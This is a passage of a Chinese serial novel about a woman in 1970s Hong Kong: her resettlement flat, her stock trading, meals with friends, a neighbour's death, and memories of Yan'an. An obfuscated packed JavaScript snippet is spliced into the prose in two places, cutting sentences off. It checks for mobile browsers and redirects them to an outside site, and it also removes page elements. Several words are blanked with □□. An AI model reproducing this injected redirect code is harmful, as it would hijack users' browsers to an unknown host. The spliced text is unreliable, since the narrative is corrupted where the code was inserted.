又望着梅思:“梅姨这些年也是辛苦。” 梅思笑道:“却也有许多温情。” 林泳涵笑道:“是的。只不知阿姨家里搬过来,后面会不会又安排人住进去?” 梅思摇头:“但愿不会,阚生的那一间屋,搬进来的是姐妹三个。” 已经不再是必得五个人凑一间了。 石硖尾的七层大厦啊,在当年或许还觉过得去,到如今已经很显简陋了,新楼又是一栋栋拔地而起,虽然称不上奢华,起码有自己的卫生间和厨房,就比如彩虹邨,客饭厅不必说,还有露台,可以在那里晾晒,所以除非实在迫不得已,否则不愿住昔日徙置楼,尤其梅思又是与苏凤香一家合住,旁人家中即使拥挤,毕竟是一家人,她这边是两家,虽说多年同住唇齿相依,感情深厚,终究没有那样无拘无束。 同行了一段路,到巴士站,梅思的车先到,两个人便分手,晚间八点多,终于回到石硖尾,一路爬到七楼,进门之后开了灯,顾不得屋内一片狼藉,梅思一头便倒在床上,真累啊,浑身的筋都软了。 85.第八十五章 梅林罐头念上海 第八十五章 梅林罐头念上海 苏凤香乔迁之喜,新居自然要好一番收拾,她留下来的这一片战场,却也要打扫,一号当晚,梅思实在没有精神收拾,回来后不久就睡了,从第二天开始,连续三天,清理垃圾杂物。 好在她不是在公司做事,看股票写文章都是时间灵活,所以用了三个社会工作日,洒扫擦洗,打理清爽,还买了油漆,蹬着梯子把墙壁屋顶重新粉刷,这一下雪白雪白,一间徙置老屋转眼便仿佛酒店公寓。 粉刷了室内,梅思没有停歇,到家具行便买了一把藤摇椅,一个小衣柜回来,此外还有一只瘦高的书架,便挤在角落里,十几年过去,床上方的铁架已经塞满了书。 整忙了一个礼拜,才收拾妥帖,八号礼拜天,梅思午睡起来后,坐在藤椅上,手里端着茶杯,望向窗外,碧绿的窗棂,崭新的纱窗,到明年夏季,外面蝉声一片,鲜绿的窗纱如同云雾,这里便宛如潇湘馆,世外隐居的福地。 梅思在藤椅上一摇一摇,藤条柔韧,在这样依然带了温度的季节,倒是比沙发还舒适,从前地方狭小,只有一个木凳,如今才有了空间可以摆放藤椅,到冬天身上围一条毯子,怀里抱一个暖水袋,坐在这上面读书看报都惬意。 那一天从彩虹邨回来,临别时,苏凤香说自己以后都能清静,如此直接了当虽然让人有些不好意思,不过实际确实就是这样一回事情,如今屋子里只有自己一个人,感觉便不同。 老屋隔音不是很好,这里的人又不讲轻声细语,隔壁的吵闹声时时会传过来,但那毕竟是别人家的声音,在自己这一方小室内,安安静静,一派悠闲,正仿佛一个小小的桃花源。 招娣说得很对,在外面奔波劳碌乃是难免,回到家中就想要休养生息,这便是自己难以接受家里嘈杂的原因,自她们搬出之后,再没了婴儿的哭声,夜里睡觉都安稳了,房间里充塞的也不是尿布的味道,自己刚刚在瓶子里插了红的黄的花,这个时节,山间开着的花已经很少,好在依然找到几支草花,便插在玻璃啤酒瓶里,不是茉莉那样馥郁,几乎没有什么香气,却只要看一眼,便感到一阵山野的气息,是那种清新的草木香。 梅思遐想一阵,望一眼窗台上的小闹钟,将近约好的时间,过不多时果然有人敲门,开门一看,门外站着东妹和白明珠,白明珠笑眯眯的,东妹乐得露出一口白牙,手里提了大包的东西。 不等梅思说话,白明珠目光往屋里一落,便开口道:“啊呀梅小姐,有一件事好教你知道,我听说事务处要安排新人,住到你这屋子里来!” 梅思身体登时一晃,扶着门框才站稳:“什么?!!” 东妹哈哈地笑,白明珠也拍着手乐:“果然吓你一跳,我就和东妹说,你听了一定心慌。” 梅思这才镇定下来,笑道:“太太就喜欢开玩笑,真的吓我一跳呢。” 好吓人,刚刚把这房间彻底整理一番,正想要享受几天神仙日子,却这样快便要来人,简直一片苦心都辜负。 又忙侧身让开门口道路:“太太,东妹姐,快请进来,看看如今我这屋子。” 白明珠与东妹嘻嘻哈哈走进来,四只眼睛骨碌碌转,到处乱望。 白明珠啧啧连声:“椅子换了新的了!这塑料椅蛮好,轻便。” 东妹把手里的东西往地上一放,视线向墙角一落:“那不是原来那只凳子?幺姐你重刷了漆,当了花架了!” 翠绿的木凳架子,上面摆了一小盆野菊花。 白明珠眼神犀利,飞快将整个屋子都瞄了一遍,笑着说:“梅小姐,你这样一收拾,着实清爽。” 好像女学生的宿舍。 转而又道:“原来实在乱糟糟,仿佛逃难一样。” 梅思咯咯地乐:“一个屋子住这样多人,还能好到哪里去呢?可不正像走日本人一样?” 当年在凌云,住的地方比这还宽裕些。 梅思让着她们坐下来,白明珠毫不客套,拖过一只塑料椅,一屁股坐下来,眯起眼睛十分惬意地说:“一年里到了十一月,总算熬到了好时节,不冷不热。” 东妹从梅思手里接过暖水瓶:“幺姐,我自己来就好。可不是么,这一个夏天,把人给热得。” 白明珠轻轻吹着玻璃杯里面的水:“梅小姐这里的梅花茶好喝。” 然后压低声音:“你熬了这么多年,那一家总算走了。” 梅思噗嗤乐出来:“倘若这屋子能大些,各人占一间房,本来也好,还热闹些。” 苏凤香一家人着实不错,只可惜房间实在太小,让人透不过气来,若说“相忘于江湖”,确实洒脱,不过梅思却并不渴望那样的毫无瓜葛,只是这样的“相濡以沫”,也让人有些受不了啊,倘若依自己的主张,顶好是大家离得近,各自住各自的地方,时常往来,只是这世上的事,哪能都按照自己的心意来呢? 东妹急急地问:“幺姐,她们搬了,什么时候轮到你?那楼房有lift呢,在自己屋子里能洗澡能烧饭还不算,人家有lift,多省力,苦尽甘来,幺姐你几时也换新屋?这地方实在不好住。” 即使以自己的眼光,幺姐住这屋子也太委屈了,自己不是以看太太的眼光来看幺姐,那自然不能比,可是如今在香港,还有几个人住这样的楼?当年看起来或者还不错,如今已经很显可怜,幺姐可不是刚来了一年两年,她在这里已经十几年,快二十年,老香港人了,很该有些根底,那新的政府楼房,论资排辈也该排到她,苏家虽然搬了,好事一件,屋子里宽敞了,可是上厕所还要到外面啊,多么不方便,而且还没有遮挡,幺姐这样的人,居然要在那里蹲坑,想一想就让人心酸。 梅思笑嘻嘻的:“我也早递了申请过去,不知排到哪里,等事务处什么时候找我,便是什么时候吧,能有今日也已经阿弥陀佛。” 起码是独占一屋,自由自在了。 然后便是闲谈,白明珠如今也炒股票,谈起股票便喜滋滋:“涨得好!虽然不过一点脂粉钱,却也赚回电影票,只是这一向与我先生时常吵嘴。” 梅思笑道:“赚了钱还要不高兴?” 白明珠撇一撇嘴:“总是爱指点江山,我和他说么,他买他的,我买我的,不用他的钱,何苦管太多?一定要说这说那,他纵然是个专家,我也不是半点不懂,当年在学校里,也学过的,家政课讲管理财产,何况又在那里面看了许久,就日常听你们说,也听得饱了,偏偏不肯信我。” 梅思乐得前仰后合:“邹先生是很爱为人担忧的。” 白明珠又抱怨几句,忽然间想到什么,又高兴起来:“找到了老照片,□□将军和夫人叶群,还是在延安的时候,林将军不过三十几岁吧,风华正茂,很斯文的一个人啊,其实称不上顶英俊,像是白云、高远那样的明星,林将军是与他们不一样的,不是第一眼便那样耀目,可是胜在那一种气质,真的是脉脉风度啊,眼神幽幽的,特别有回味。叶夫人也很清秀。” 梅思笑道:“可巧我前些时,见到一张叶群女士后来的照片,白白胖胖。” 那是建国之后,五十年代,与林校长的合影,画面上的叶群,面容丰润,有一点白明珠当年的样子,因她这样富态,眼睛便细细弯弯。 白明珠呵呵地笑:“也该她过些好日子。那照片上,有一个小朋友,便是她们的长女吧?那小姑娘两眼定定望着镜头,仿佛很倔强的样子。唉,叶夫人看起来很贤淑的,当年在延安,还遭遇那样的事,我看一本书,说叶夫人在中共□□的时候,是给贺夫人告到了上面……” 白明珠把自己读到的故事仔仔细细讲述,最后感叹一句:“本来很要好的闺中密友,却忽然间反目成仇,女人之间的友情,真是脆弱,这件事上恼不得,要让男人为先,死生契阔,慷慨悲歌,回肠荡气。” 梅思神情本来颇有些悠远,片刻之后“噗”地一声笑:“延安的□□啊,我虽然知道得不多,但很多男人也互相检举揭发的。” 谈着谈着便到了四点多,梅思已经准备好了材料,便从桶里提出一条圆滚滚的黑鱼,到水池那边剖开洗净,回来便加了梅干,放在砂锅里,东妹这边已经帮手在炊米饭,那黑鱼用小火焖了半个钟头,连砂锅一起端上桌面,又快快地炒青菜,摊鸡蛋,煎一盘午餐肉,最后借着原来的油锅,烧了一个冬笋豆腐汤。 将近五点半钟,三个人围坐一起吃饭,白明珠看看盘碗里面:“啊哟,梅子烧的黑鱼,方才喝的是梅花茶,你果然不愧是姓梅,把那梅树用了个彻底。” 东妹拍着巴掌嘎嘎地乐:“太太,那午餐肉是梅林的罐头。” 白明珠愈加发噱:“啊哟哟,你真的离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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白明珠先是笑,又叹一口气:“虽然没有去过上海,但在香港吃上海梅林罐头,便也仿佛住在上海。上海与桂林啊,毕竟不是很远。” 其实香港离桂林也不远,若论路线上的距离,比上海还要近许多,然而梅思能理解白明珠的心情,上海与桂林同在一国,香港则仿佛成了异国,到这边要过海关,把守森严,这便是“举头见日,不见长安”。 谈谈吃吃过了七点,东妹要帮手洗碗,梅思忙拦住了她:“这几只碗,回头烧一锅水,烫洗一下便干净了。” 安坐又吃茶,到七点半钟,白明珠看看手表:“今日打扰了许久,实在该走了。” 梅思笑道:“太太和幺姐下次还来啊,烧好菜等你们!” 白明珠点头:“如今你一个人住一间,那是自然要常来的,你这里笋子格外嫩,比别处不同。” 香港啊,原本还有些好菜蔬,马屎埔水葱、打鼓岭苦瓜、屯门管榄菜心、荃湾西洋菜、粉岭芥兰、白泥萝卜、八乡老薑,等等等等,只是如今各处都在起工厂,要么就是起楼房,把菜田挤得越来越难寻觅,本地的鲜菜少得很了。 梅思笑着说:“多是从海的那一边运过来,其实也还不错的了。” 七八年前开始,顶出名的每天“三趟快车”,武汉上海郑州,往香港运送生鲜农产品,香港菜市场上的肉蛋蔬菜,多数是从大陆运来, 白明珠笑一笑:“所以我先生有时候便说,香港不但喝水要靠中共,吃饭也要指望那边。” 梅思笑道:“邹先生啊,是很能居安思危的了。” 其实何苦想得这样多?都是中国人,何须如此防范?倘若按照国际主义、天下大同的说法,整个世界都应该是一家,大家都是人,哪里需要把彼此当做敌人? 白明珠呵呵地乐:“但愿真的能永远太平无事吧。” 希望中共也是这么想的。 每次听丈夫议论政治,自己就生出不耐烦,总是那一套,提防中共,纵然他说得怎样有道理,几十年听下来,再深刻的见识也让人腻烦,只是梅小姐的想法,却似乎又有些太天真,当年也是追随共产党呢,千里万里去了延安,本来是很能斗争的一个人,如今仿佛也信了基督教,在这里讲爱爱爱,All men are brothers,然而那可是很难啊。 86.第八十六章 十六年后重整菜园 第八十六章 十六年后重整菜园 七一年,二月七号,礼拜天,梅思下午伏在小桌前,身上披了一件旧棉袍,下半身围一条毯子,膝盖耸得如同两个小小的山头,那脚下高高地垫了东西,是一只脚炉。 这脚炉是那一回白明珠与东妹姐来做客,送了来的,黄铜的,敦敦实实,如同坛子一般,虽是旧物,却擦得亮晶晶,盖子上菱形的气孔,提柄是竹节的,末端与脚炉的焊接处镌了蝴蝶图案,炉身上刻了凤穿牡丹。 白明珠那一日临走,拉着梅思的手:“天就要冷了,保重,不要想着省炭,脚炉虽然旧了,倒还结实。唉,当年桂林带出来的老物件,走共产党我都没舍得丢了它,不值什么钱,看见它想起了故乡。” 所以这一只脚炉,情谊可是很重的了,梅思也很是爱它,除了乡情,也着实有用。 石硖尾啊,冬天那是真冷,暖水袋的热度到了后半夜,便渐渐退去,偏自己又不是元气很旺盛的,便感到被子里冰凉一片,以至于去年冬天冷到腿抽筋,夏季里倒是没发作这个毛病,要说从前也是没有的,或许终究是有了点年纪,身体便不如当年。 夜间睡觉自然难捱,不过白昼却也不怎样容易过,除非是坐在床上,可以缩在被窝里,倘若是在地上,怀里可以抱着暖水袋,两条腿难免冷到僵硬,如坠冰窟,当年高明霖要到冰窟窿里面洗澡,虽然没有办成,那滋味想来也不过如此。 偏偏又不能一直窝在床上,读书倒是罢了,时常总要写字的,写文章给报馆,所以每年冬天,梅思都分外艰难,文思仿佛给冻住了一般,下笔都艰涩了,好像用凿子在冰面上刻字,虽然写出来的不是血泪文字,但实在冻得发抖。 如今可是好了,有了脚炉,当年在平乐,也有脚炉,圆孔盖子上雕的是鲤鱼荷花,如同白太太的这只一般精美,代表了相近的阶层,自己奔赴延安之后,再回去那脚炉便不知哪里去了,白太太这回送的脚炉,让梅思想起了少女时代的日子,腐朽而安逸。 现今在香港的石硖尾,自然不同那时,脚炉带着旧时的闲适,生活却早已不复那种优裕,经过多年挣扎,纵然已经有了些基础,却也不很敢放松,依然要努力抓紧,礼拜天可以多写一些稿件。 她从清早便开始写,中间简单吃了午饭,一直写到现在,抬头一看闹钟,已经是四点多。 梅思放下笔,抬起胳膊伸了个懒腰:“啊,肩膀酸!” 又转头看看窗外:“天开始暗了。” 虽然冬至已经过去,连立春都过了,每天白昼依然嫌短暂,要到夏季,才不会这样早便有一日将尽的感慨。 梅思起身上了厕所,开了灯之后重新坐回来,依然是用毛毯围住腿,两脚踏着脚炉,从桌面便拿起一本书,是从邹先生那里借来,龚楚先生的回忆录,刚出的新书,邹先生看过,便火急要东妹拿给自己。 东妹捎话说:“先生讲务必要看看。” 自己如今已经看了大半,只剩最后四五十页,此时当日的文债已经还完,梅思很想要消闲一下,便抓过这本书来看,脚炉里的炭虽然即将烧完,余热仍然将两只脚烤得暖烘烘,脚下这样暖,气血循环,人简直要出汗,在这样寒冷的天气,脚炉之上便形成一个如同初夏一般的小世界,十分宜于读书。 梅思把书翻过一页又一页,越看越是皱眉,直看到最后一页,盯着那几行字,面色发沉,眼神闪烁不定。 龚楚先生啊,自己也是知道的,粤省的名人,广东广西一定程度上可以说同气连枝,号称“两广”,不过梅思对于他,倒不仅是同乡之谊,龚楚这个人,在延安也很给人挂在嘴边,谭永光便痛骂:“妈个巴子龚楚,大叛徒,投了国民党,在北山害死我们那么多好同志,我兄弟就死在那里,该死的龚楚,比白崇禧还可恶!” 那时候自己与谭永光已经颇为熟悉,谈了几句龚楚,梅思便抿嘴笑着说:“首长,你为什么这么喜欢骂娘?” 谭永光想来是也有些意想不到,微微愣了一下,转而乐道:“不然骂什么呢?总不好骂祖宗三代的吧,我虽然没读过许多的书,这点规矩还懂得。” 而这位龚楚先生,在中共建立政权之后,做出了与杜月笙同样的选择,早早便来了香港,这些年梅思也听过他的名字,已经是一个颇为殷实的商人,空闲时还写书,十几年前就写过一本《我与红军》,如今又写了一本回忆录,前面那一本书,自己没有读过,但读了这篇回忆录,梅思一时间心潮起伏,除了想到延安□□,也是以为龚楚很无聊。 延安的那一场大运动,自己身在其中,着实惊恐,即使离开延安,仿佛安全了,然而每当忆起从前,依然心肝发颤,有时候甚至会做噩梦,惊醒之后好一阵还不能分清楚,方才究竟是梦境还是现实,在延安的时候,也约略知道从前的□□,肃反,此时看龚楚的书,简直比□□有过无不及,分外恐怖,也难怪龚楚会离开了。 可是读到后面,又有些不以为然,“中国再不需要流血的革命”,本来也有他的道理,只是既然反对暴力手段,为什么又去与红军作战?难道这不是使用暴力吗?况且还那样卖力,到香港之后接连写书,评说中共,他不是像自己这样,为了生计而写作,只是想要自我表白吧? 梅思胸腔起伏,重重地呼吸着,几分钟之后才渐渐平静下来,看一眼桌面上的闹钟,已经过了七点,转头再看窗外,一片沉沉,天早已完全黑了,这时候才感到肚饿,午间是十二点半吃的饭,晚餐常规是六点,今天晚了一个多钟头,饮食打破了规律,对身体不是很好,于是梅思把方才的念头抛开,连忙站起身来,便到走廊烧晚饭。 隔壁阿春婆靠着门框,颤巍巍看到了:“梅小姐,才烧饭?” 梅思点头:“是啊,一个不留神,错过了时刻。” 阿春婆眯着眼睛笑,一张口如同一个黑窟窿,八颗门牙都没了:“睡过了头么?这样天气原好睡觉。” 梅思笑道:“读故事来着。” 回忆录再怎样严肃正经,终究也可以说成是故事。 阿春婆轻轻点头:“你啊,就是爱看书,不好这样的,饿得胃疼。” 梅思笑嘻嘻答应,又问了两句阿春婆:“这一阵心口疼得怎样?” 阿春婆咳嗽着答应:“好两天坏两天,我这个年纪,就是这样子,不过等死罢了。” 梅思忙安慰几句,阿春婆给阿正扶着进房去了,她便埋头煮面,一边暗想:“确实如阿春婆所说,今后再不能这样,无论怎样特别的书,又或是怎样急的稿子,都不该耽搁吃饭。身体是不是革命的本钱,如今已经说不到,但起码对于自己的生活,是十分重要的,那么多先例,都历历在目,所以丁玲同志也曾提醒,要注重健康,避免生病。” 到了三月,无论是香港,还是梅林之中,天气都逐渐转暖,三月十四号,又是礼拜天,远东会香港会都不开市,梅思便将这一天都用作料理菜圃的时间。 梅林间的菜圃啊,荒废了许多年,自从以股票为业,倒也抽空开出一小片地来,栽种些青菜茄子之类,毕竟空闲太少,进入梅林如同做贼,便只得巴掌大一块田,如今可是好了,有一整天的时间来打理,之前特意到乡间买了种子,当年留下来的萝卜辣椒种,十几年过去,想来已经不能用,便要向乡民买新种。 挥动锄头,梅思眼角瞥见林间的梅花,到了这个时候,许多都已凋落,却仍有一些挂在枝头,这与在延安垦荒是不一样的,同样要出力,但风物迥异,延安放眼望去一片苍黄,陕北高原的黄色一直蔓延到古城,即使春天的风,吹过来也是干燥的,更见不到梅花,可是在这里,迎面吹来的风是清润的,能感到里面的水汽,延安的风格是粗犷的,带着厚重,也或者可以说是沉重,梅林则有一种风雅,即使是开辟菜田,也仿佛带了诗意,仿佛陶渊明的诗。 陶渊明是江西人,所以他的田园诗,虽然也诉说农事的辛苦,却仍然带着氤氲清秀的气息,倘若他是在陕北耕种,只怕就写不出“道狭草木长,夕露沾我衣”,倘若要“山涧清且浅,遇以濯吾足”,就更不容易了,高原的风啊,无论何时都是干燥的,充满了干旱的意味,仿佛不带有丝毫水蒸气,陶渊明在那里,只怕田园诗要写成边塞诗。 念头转到这里,梅思不由得笑了出来。 三月重辟了菜园,到了六月,梅思就完全不必到外面买小菜,每天早上背一个大大的草编袋子,看盘到中午。 到九月,梅林之中的出产愈发丰富,南瓜番薯可以当饭,梅思便更加心满意足,这一日九月十三号,礼拜一,将近十一点三十分,梅思正准备去洗手间,然后抄个午间收盘价,一转身居然望见尹宗翰,连忙抬手招呼:“尹生!尹生也到这里来了?” 尹宗翰转头回望,快步走来笑道:“没办法,这边势头好嘛。” 虽然成立不过半年,不过远东会发展迅猛,许多在香港会不得上市的公司,都涌来这边,同行们闲谈议论,多以为只怕再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14807143|152646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过两三年,便要超过香港会,开玩笑“要早谋后路”。 虽然以为香港会不至于就此衰亡,不过远东会新启动,需要老经纪,开了高薪约请他,尹宗翰为薪酬而心动,便辞了老东家,到远东会来了。 然后尹宗翰望着她肩上那一个包:“下午又是去图书馆么?” 梅思笑道:“要去香港会瞧一瞧。” 尹宗翰连连点头:“香港会还是好的,在那边有钱赚。” 虽然离了香港会,对那里还是有感情,见梅思没有完全撇了那边,尹宗翰也有些欣然。 梅思补了一句:“在香港会兜一圈,再去图书馆。” 尹宗翰哈哈地笑,梅思也笑,图书馆自然是时不时还要去一下的啊,不然这小菜要怎样拿出来呢?石硖尾确实有一种浓厚的人情,不过相互之间也少有秘密,居然有一点好像大户人家,什么事都要打听的,但凡一点风吹草动,不多久整栋楼都知道,所以自己也很谨慎,水啦小菜啦,总要有个来源,一点点倒也罢了,大宗一点就需要留意。 所以如今虽然已经不需要像从前那样,在图书馆里体味清静悠闲,梅思仍然时不时便要过来,只是停留的时间比从前少了许多,借还书之后去一次洗手间,便回去了。 当天傍晚六点多,梅思回到石硖尾,楼门前不远处,大排档叉烧饭一股浓香,梅思眼睛一溜:“明强,阿幸,你们在这里。” 廖明强与薛幸正坐在摊子上,每人面前一大碗叉烧饭。 听到她招呼,明强点头叫了一声“梅姨”,薛幸则是快快地招手:“梅姨,快来快来,今天明强发财,请吃饭,一定要大大地吃上一碗!” 梅思听她这样讲,便也不客气,笑着过来坐下,眼望着纸壳菜牌,张口道:“一份叉烧饭。” 明强补一句:“加一个煎蛋,多放青菜。” 姜婆在灶前答应一声,不多时便装了一大碗白米饭,上面铺了切成厚片的叉烧肉,四五条菜心,一枚煎蛋,把这样一碗叉烧饭放在桌面,顺手拿起明强刚放在旁边的钱。 梅思拿起筷子,夹了一条菜心送进口中,咀嚼了几下,咽下喉咙,转头笑眯眯问明强:“今天又是谁的孝敬?” 明强脸上一红,连连摇头:“梅姨,别取笑了。” 梅思哈哈地笑,说话声音却低:“有些人不义之财,倒该给大家都分分。” 倘若是阚德龙的,那才再好不过。 薛幸起初也笑两声,转而便咬牙切齿:“可惜我一直只是交通警,顶多开开罚单,倘若能当探员,总有机会抓住他。” 明强愁眉苦脸摇头:“没有用的,你看看我现在,还不是这样?还不如在街头指挥一下车辆,能省心些。” 起码不必担忧当局的反贪腐,声浪日盛,自己从前跟的蓝刚探长,已经在两年前退休,还不到四十九岁,就回家“安度晚年”了,自己虽然只是个小小的探员,日常也不肯主动伸手,但身在这个染缸,难免也沾到,当差到如今,惩恶扬善的本心已经越来越远,倒是时常忧虑,将来会不会为了黑钱给抓进去。 梅思笑笑又问:“如今的这位康警司怎样?” 明强眉头愈发紧蹙:“总比韩探长让人好受些。” 起码没有那样好色。 虽然是自己的上司,人也确实精明能干,然而韩森实在让人受不了,那一回在舞厅,拍着自己的肩膀和自己说:“不要那么委屈自己,女人嘛,只要给她钱,她就会很乖。” 梅思不愿多讲,转而大赞叉烧饭:“真香!” 姜婆正给另一位客人切叉烧,听到了呵呵乐道:“梅小姐,不是我自夸,我家的叉烧饭顶呱呱,香港数一数二,谁不知道我做生意最是良心?你是很勤俭,不过有时候也可以省力些,就过来照应一下我的生意蛮好。” 薛幸也笑:“姜婆在这里十几年,街坊都有口碑的,又干净又好味,价格还公道。” 姜婆哈哈大笑。 梅思乐道:“将来我做不动了,少不得来麻烦姜婆。” 姜婆乐得前仰后合:“啊哟哟梅小姐,你真会说笑话,我比你要老二十岁,到你做不动,我早就不能再开档口。” 转头正要对明强和薛幸说“常来食饭”,忽然间阿正从楼门里飞一般跑出来,姜婆立刻叫他:“阿正,你怎么了?脸色都变了。” 阿正头也不回:“嫲嫲突然倒下没气了。” 梅思三人互相望了一眼,站起来就走。 87.第八十七章 白明珠演说林府 第八十七章 白明珠演说林府 阿春婆心脏病突发亡故,邻居们都很是遗憾:“真可惜,八十九岁,差五个月就是九十岁生日。” 她家里人则是看得比较开:“这个寿命,也是高寿了,这几年身体不好,很艰难的。” 阿春婆是多年的邻居,她的离世对梅思的震动也比较大,直到半个月后,九月二十六号礼拜天,梅思与东妹谈起来,仍是感到唏嘘:“阿春婆一直说要活一百岁,现在这屋子里腾出一个人的位置,另外也省了整天担忧。” 东妹顺口答应:“是啊,这样大的年纪,难免这里病那里痛,很让人劳累的,自己也难过,我们到老了,也不知会怎么样。啊幺姐,这个是太太给你的,你那毯子旧了,再过一阵天就冷了,换个新毛毯,本是大小姐给太太的,太太用不到,就要我拿来给你。” 梅思笑道:“回去替我谢谢太太。” 把毛毯放在床上,转头四处一望,从柜子上取下一个大大的玻璃瓶:“这里一瓶秃黄油,拿回去大家吃吧,拌面拌饭,与牛肉酱不是一个味道。” 东妹接过瓶子,望着里面哈哈地乐:“幺姐你还会做这个!这可是绝了,小半年不愁没蟹吃,太太肯定留着过冬的。” 梅思抿着嘴笑:“还是从前凤香说起,我记下来,如今终于有机会做。” “秃黄油”是苏州话,苏州与上海距离不很远,所以苏凤香也晓得这种做法,与一般的蟹黄酱不一样,半丝蟹肉都没有的,独取蟹膏和蟹黄,最纯粹的精华。 苏凤香当年在上海,每年固定要为主人家做几大瓶,之后来香港,石硖尾小屋膝盖碰膝盖谈天,回顾起来依然恋恋,讲述烹制的方法,“合着猪肥膘和黄酒慢慢地熬,最后加猪油和胡椒粉,就是油汪汪金灿灿的秃黄油,舀一勺对着日光来看,半透明,反着光,好像琥珀”,如泣如诉,情怀无限。 梅思听她说完,也是深情渴慕:“从前竟不知道有这样的吃法,只是听着就感觉特别鲜美,当年在桂林,不怎样吃螃蟹,漓江的虾是好的,只可惜螃蟹个头小,不过棋子般大,吃着白费牙。” 抗战时那一场饭局,当时只觉得腻歪,十几年过去,感觉便暧昧起来,旧人已非昔日风光,那种压迫感便减轻了,再记起便是当时的席面。 遗憾着漓江螃蟹小,忽然间梅思灵机一动:“真是个好主意,倘若我们也熬那样一大瓶,每次回来得晚了,又或者起床迟了,便煮一锅面,加一勺秃黄油,便是一餐饭,省事得很,比葱油面别是一番滋味。” 苏凤香哈哈便笑:“你真是大小姐说话,螃蟹不便宜哦,我们小户人家,中秋吃一次蟹,可是个大事呢,全家快活,哪能好像吃葱油面一样,天天吃秃黄油拌面?” 梅思这才醒悟自己是想当然了:“唉,我还想着用秃黄油来炒饭,与蛋炒饭不同的,又或者直接拌饭来吃,连开火都省了。” 苏凤香笑道:“秃黄油捞饭哦,你怎么不想着鱼翅捞饭?” 一番话说得梅思很是惭愧,延安的一番锤炼,终究没能完全洗去自己身上有闲阶级的痕迹,依然是个闺秀小姐,仰慕螃蟹的盛名,本能地便以为秃黄油这种东西,是可以如同桂林的豆腐乳一般,日常储备,方便下饭,哪里顾得到价格不菲? 秃黄油难以如同葱油辣椒酱一样,常备一大瓶在柜门里,随用随取,亏了自己还以为这样的日子很是简素,方才说出来的时候,瞬间有一种自得,以为实在是聪明,能想到这样的好主意,又快捷又美味,如此高明的点子,偏偏是从自己脑子里迸出来,怎么其她人都想不到的? 与东妹又聊了一阵,时间将近中午,梅思留东妹:“就在这里吃午饭。” 东妹笑着说:“我要回去呢,太太老爷等我开饭,太太嘱咐了,要你中秋一定过去呢,大家团圆。” 梅思笑道:“我记得了。” 又过一周,十月三号中秋,又是礼拜天,梅思提了两大袋竹笙田螺,去了官塘。 到了那里,白明珠便拉着她谈天:“我如今是懂得了你,养孩子什么用?长大了各干各的事去,中秋都不肯过来的,幸好还有你,否则实在冷清。东妹那一回从你那里拿来蟹黄油,当天晚上就吃了捞面,我们先生说,嗱喳面倘若用这个料,独占鳌头,价钱也要翻一倍。” 梅思笑道:“我改天再做一些。” 白明珠乐着说:“不必麻烦,这就已经很不少,那么大个的螃蟹只取蟹膏和蟹黄,花钱肯定不少。” 梅思一抿嘴:“倒也罢了。多谢太太的毛毯,这一个冬天更暖。” 多年相交,已经不是普通的应酬往来,彼此都很贴心,白明珠伴侣两个,送的多是应用的物件,很是实际,自己赠送这边也是一样。 白明珠笑叹道:“不值什么,如今比不得当年了,除了这些个,原也拿不出更多。倘若是当年啊……” 当年在桂林,朋友间相送的是什么?绸缎首饰啊,大酒楼的燕窝鱼翅席面,现在只是一条毛毯了,虽然倒是很暖心的,但如今也确实没有那样的财力气魄。 听她又在感慨今昔,邹千里不耐烦,一摆手:“现时也很好,你看看股票,只可惜本金少,不然也赚几栋洋房别墅。当年在桂林虽然风光,难免靠了家族的荫蔽,在香港可全是凭自己,这便是‘滴自己的汗,吃自己的饭,自己的事自己干。靠人,靠天, 靠祖上,不算是好汉’。” 陶行知的自立歌啊,当年听听也就罢了,如今深有感触,若说今昔对照,桂林时候自然比如今要优裕许多,如今家里那部小汽车常停在车库,等闲不开它,怕费汽油,从前可是出门便坐车,然而邹千里晓得,虽然自己是美国留学回来,很有学问的人,能有这样的家业,多还是借了堂兄的光。 人便是这样,都想过好日子,但不愿让人说是借了别人的力,邹千里也是这般,想要凭本事赚钱,这些年在香港,虽然也慨叹今昔云泥,不过这几年心情倒是舒畅许多,股票进账不错,虽比不得当年阔绰,但都是凭自己一手一脚赚来,再不吃人家风凉话:“有人朝中做官,就是不同”。 纵然仿佛是帮忙辩解的话,也是难受:“人家上辈子烧了高香,这一世便有享不完的福,气也是白气。” 然而依然是说自己依托于人,不是自家的本领,如今再有人说这些,自己当场可以顶回去:“大家各凭本事,谁也不要眼红别人。” 来了香港,虽然曾经失落,却也长了志气,于是邹千里拍着腿,一腔豪情:“我要筹措一些钱,多买股票。” 梅思微微一蹙眉:“还是谨慎。” 白明珠也连声道:“是啊是啊,如今日子蛮过得去。” 邹千里瞥了她们一眼:“富贵险中求。” 比如自己的堂兄,倘若不是投身军旅,枪林弹雨之中搏杀,怎么能有家族的兴旺富贵?我只是炒一炒股票,你们就怕了,倒好像我要上战场一样。 东妹料理了午饭,到十二点准时上桌,中间一大盘田螺,白明珠望着田螺,又慨叹起来:“桂林的田螺啊,多么的肥美,香港少有那样的好田螺,香港的田螺都是瘦瘦小小,没有肉,如今稻田越来越少,连那样小的田螺也不容易找……” 邹千里拧开了无线电:“听听这里面说什么。” 中午是新闻,世界各地的,不多时东妹用围裙擦干了手,也坐过来,梅思赶快给她舀了一勺田螺:“东妹姐,快来吃。” 东妹笑道:“我方才烧的时候,就尝了几个。” 这时候无线电里女播音员说道:“九月十三日在MG国坠毁的飞机,逃亡者据猜测,或许不是此前已被黜的刘SQ,遇难者另有其人,林X自从六月便鲜少公开露面,根据中G的惯例,推测其人或已失势……” 